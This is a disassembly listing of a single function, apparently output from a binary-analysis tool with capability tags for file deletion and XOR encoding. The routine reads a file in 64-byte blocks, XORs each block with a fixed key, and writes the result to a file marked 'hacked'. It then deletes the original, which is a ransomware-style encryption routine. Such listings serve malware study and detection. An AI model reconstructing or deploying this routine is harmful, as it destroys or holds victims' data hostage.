Function at 0x4032e0
Capabilities:
Delete file
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4086fd
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x1ec
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1dc], 0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x70]
push 7
xorps xmm0, xmm0
mov dword [ebp - 0x60], 0
push str..hacked
movups xmmword [ebp - 0x70], xmm0
mov dword [ebp - 0x5c], 0
call fcn.00406070
push 0xb8
lea eax, [ebp - 0x1d8]
mov byte [ebp - 4], 1
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x1d8], 0x40997c
cmp dword [ebx + 0x1c], 0xf
lea esi, [ebx + 8]
lea ecx, [ebp - 0x168]
cmova esi, dword [ebx + 8]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::constructor_void_]
push 0
push 0
lea eax, [ebp - 0x1c8]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x1d8]
mov dword [ebp - 0x1dc], 1
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char_____bool_]
mov dword [ebp - 4], 3
mov eax, dword [ebp - 0x1d8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1d8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x1dc], eax
lea ecx, [ebp - 0x1c8]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void_]
lea ecx, [ebp - 0x1c8]
mov dword [ebp - method.std::basic_filebuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [ebp - 0x180], 0
mov byte [ebp - 0x18b], 0
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void_]
mov eax, dword [0x40d81c]
mov ecx, dword [0x40d820]
mov dword [ebp - 0x17c], 0
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x184], ecx
mov dword [ebp - 0x190], 0
push ecx
push 0x21
push esi
lea ecx, [ebp - 0x1c8]
mov byte [ebp - 4], 4
call fcn.00405160
test eax, eax
jne 0x40346e
mov eax, dword [ebp - 0x1d8]
lea ecx, [ebp - 0x1d8]
push 0
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov eax, dword [ebp - 0x1d8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1d8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x1dc], eax
push 0xb0
lea eax, [ebp - 0x120]
mov byte [ebp - 4], 5
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov eax, dword [ebx + 0x18]
add esp, 0xc
mov ecx, eax
mov dword [ebp - 0x1e8], 0
sub ecx, dword [ebp - 0x60]
xorps xmm0, xmm0
cmp eax, ecx
mov dword [ebp - 0x1e4], 0
movups xmmword [ebp - 0x1f8], xmm0
cmovb ecx, eax
cmp dword [ebx + 0x1c], 0xf
lea eax, [ebx + 8]
cmova eax, dword [ebx + 8]
push ecx
push eax
lea ecx, [ebp - 0x1f8]
call fcn.00406070
mov byte [ebp - 4], 6
lea esi, [ebp - 0x1f8]
cmp dword [ebp - 0x1e4], 0xf
lea ecx, [ebp - 0xb8]
mov dword [ebp - 0x120], 0x409938
cmova esi, dword [ebp - 0x1f8]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::constructor_void_]
push 0
push 0
lea eax, [ebp - 0x11c]
mov byte [ebp - 4], 7
push eax
lea ecx, [ebp - 0x120]
mov dword [ebp - 0x1dc], 7
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char_____bool_]
mov dword [ebp - 4], 8
mov eax, dword [ebp - 0x120]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x120]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x124], eax
lea ecx, [ebp - 0x11c]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void_]
lea ecx, [ebp - 0x11c]
mov dword [ebp - method.std::basic_filebuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [ebp - 0xd4], 0
mov byte [ebp - 0xdf], 0
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void_]
mov eax, dword [0x40d81c]
mov ecx, dword [0x40d820]
mov dword [ebp - 0xd0], 0
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0xd8], ecx
mov dword [ebp - 0xe4], 0
push ecx
push 0x22
push esi
lea ecx, [ebp - 0x11c]
mov byte [ebp - 4], 9
call fcn.00405160
test eax, eax
jne 0x4035fe
mov eax, dword [ebp - 0x120]
lea ecx, [ebp - 0x120]
push 0
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov eax, dword [ebp - 0x120]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x120]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x124], eax
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x1e4]
cmp ecx, 0xf
jbe 0x403665
mov edx, dword [ebp - 0x1f8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40365b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40365b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004075d8
add esp, 8
mov eax, dword [ebp - 0x1d8]
lea ecx, [ebp - 0x1d8]
mov dword [ebp - 0x1e8], 0
mov dword [ebp - 0x1e4], 0xf
mov byte [ebp - 0x1f8], 0
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::eof_void_const]
test al, al
jne 0x403735
nop dword [eax]
push 0
push 0x40
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x1d8]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::read_char___long_long___int64__]
movups xmm1, xmmword [ebp - 0x58]
lea eax, [ebp - 0x58]
movups xmm0, xmmword [0x40d7d8]
lea ecx, [ebp - 0x120]
push dword [ebp - 0x1cc]
xorps xmm1, xmm0
movups xmm0, xmmword [0x40d7e8]
push dword [ebp - 0x1d0]
movups xmmword [ebp - 0x58], xmm1
push eax
movups xmm1, xmmword [ebp - 0x48]
xorps xmm1, xmm0
movups xmm0, xmmword [0x40d7f8]
movups xmmword [ebp - 0x48], xmm1
movups xmm1, xmmword [ebp - 0x38]
xorps xmm1, xmm0
movups xmm0, xmmword [0x40d808]
movups xmmword [ebp - 0x38], xmm1
movups xmm1, xmmword [ebp - 0x28]
xorps xmm1, xmm0
movups xmmword [ebp - 0x28], xmm1
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
mov eax, dword [ebp - 0x1d8]
lea ecx, [ebp - 0x1d8]
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::eof_void_const]
test al, al
je 0x4036a0
lea ecx, [ebp - 0x1c8]
call fcn.004050d0
test eax, eax
jne 0x40375c
push eax
mov eax, dword [ebp - 0x1d8]
lea ecx, [ebp - 0x1d8]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
cmp dword [ebx + 0x1c], 0xf
lea eax, [ebx + 8]
cmova eax, dword [ebx + 8]
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov eax, dword [ebp - 0x120]
add esp, 4
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x120]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x124], eax
lea ecx, [ebp - 0x11c]
call fcn.00404a90
lea ecx, [ebp - 0x118]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0xb8]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov eax, dword [ebp - 0x1d8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1d8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x1dc], eax
lea ecx, [ebp - 0x1c8]
call fcn.00404a90
lea ecx, [ebp - 0x1c0]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_istream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x168]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0xf
jbe 0x403835
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40382b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40385b
push ecx
push edx
call fcn.004075d8
add esp, 8
mov ecx, dword [ebx + 0x1c]
cmp ecx, 0xf
jbe 0x40386b
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403861
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403861
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004075d8
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00407590
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret